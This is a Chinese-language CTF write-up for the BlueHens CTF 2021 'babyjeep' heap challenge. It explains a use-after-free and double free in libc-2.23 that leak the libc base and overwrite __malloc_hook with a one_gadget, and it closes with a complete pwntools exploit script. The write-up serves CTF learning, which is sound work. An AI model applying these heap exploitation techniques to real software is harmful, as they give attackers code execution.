BlueHens CTF 2021 --- babyjeep writeup
检查下保护机制:
看下程序逻辑:
逻辑相对明确,增删改查,增改放在一块
看下alloc函数,这不是库函数,是一个自己定义的函数
看下delete函数:
没有置空指针,造成uaf,可以用来拿libc地址
然后libc-2.23下的double free 拿malloc_hook就可以了
注意one_gadget,由于条件rax或rsp等条件不满足,需要用realloc调栈
那么现在去拿libc地址,程序限制了申请的大小,我们无法直接拿到unsorted bin
不过堆址还是可以拿到的,于是构造堆溢出,改写下一个chunk的size,把它放到unsorted bin
堆块情况如图:
库函数_int_free里有检查:
/* Or whether the block is actually not marked used. */ if (__glibc_unlikely (!prev_inuse(nextchunk))) { errstr = "double free or corruption (!prev)"; goto errout; }
它会检查下一个chunk的inuse位,那我们就把这个inuse位伪造为1好了,但是很可惜,还是会报错
我跟踪了一下,大概是在这里报错:
r14=fake_next_chunk_addr
0x7f39e563c33e <_int_free+574> mov rax, qword ptr [r14 + 0x10]
0x7f39e563c342 <_int_free+578> mov rdx, qword ptr [r14 + 0x18]
0x7f39e563c346 <_int_free+582> cmp r14, qword ptr [rax + 0x18]
我就挨个去试(就是假chunk的下一个chunk的size域写为0x51还是0x41...),发现写0x51不报错
脚本如下:
add(1,0x60,'a'*0x10) add(2,0x60,b'b'*0x48+p64(0x71)) add(3,0x60,'c'*0x10) add(4,0x60,'d'*0x10) delete(4) delete(1) delete(4) add(5,0x60,"\xc0") add(5,0x60,"d"*0x10) add(5,0x60,b"e"*0x18+p64(0x51)) add(7,0x60,b'f'*0x18+p64(0x91)) delete(3) show(3) libc_base=u64(sh.recv(6)+b"\x00\x00")-0x68-libc.sym['__malloc_hook'] one=libc_base+gadgets[1] sys=libc_base+libc.sym['system'] malloc_hook=libc_base+libc.sym['__malloc_hook'] realloc=libc_base+libc.sym['realloc']+8 info(hex(libc_base))
好了,现在有了libc基址,下一步就是拿malloc_hook,去写one_gadget
故技重施,double free
我们看下 one_gadget应当满足的条件:
需要 rax=0,或 [rsp+0x30]=0,或[rsp+0x70]=0
选择one_gadget2或one_gadget3,然后利用realloc去调栈
完整的利用脚本如下:
#coding:utf-8 from pwn import * context.log_level="debug" sh=process("./main") #sh=gdb.debug("./main") libc=ELF("./lib/libc.so.6") gadgets=[0x3f416,0x3f46a,0xd5c37 ] ''' sh=remote("challenges.ctfd.io",30040) libc=ELF("./libc-2.23.so") gadgets=[0x45226 ,0x4527a ,0xf0364 ,0xf1207 ] ''' def add(idx,size,data): sh.sendlineafter(">","1") sh.sendlineafter("Index",str(idx)) sh.sendlineafter("Size",str(size)) sh.sendafter("Data",data) def show(idx): sh.sendlineafter(">","2") sh.sendlineafter("Index\n",str(idx)) def delete(idx): sh.sendlineafter(">","3") sh.sendlineafter("Index",str(idx)) add(1,0x60,'a'*0x10) add(2,0x60,b'b'*0x48+p64(0x71)) add(3,0x60,'c'*0x10) add(4,0x60,'d'*0x10) delete(4) delete(1) delete(4) add(5,0x60,"\xc0") add(5,0x60,"d"*0x10) add(5,0x60,b"e"*0x18+p64(0x51)) add(7,0x60,b'f'*0x18+p64(0x91)) delete(3) show(3) libc_base=u64(sh.recv(6)+b"\x00\x00")-0x68-libc.sym['__malloc_hook'] one=libc_base+gadgets[1] sys=libc_base+libc.sym['system'] malloc_hook=libc_base+libc.sym['__malloc_hook'] realloc=libc_base+libc.sym['realloc']+8 info(hex(libc_base)) delete(1) delete(2) delete(1) add(5,0x60,p64(malloc_hook-0x23)) add(5,0x60,'g'*0x10) add(5,0x60,'h'*0x10) add(5,0x60,b'a'*11+p64(one)+p64(realloc)) sh.sendlineafter(">","1") sh.sendlineafter("Index",str(2)) sh.sendlineafter("Size",str(0x30)) #pwnlib.gdb.attach(sh) sh.interactive()
注意远程环境可能与本地不同,具体realloc加几,需要去试,唉,反正我是去试的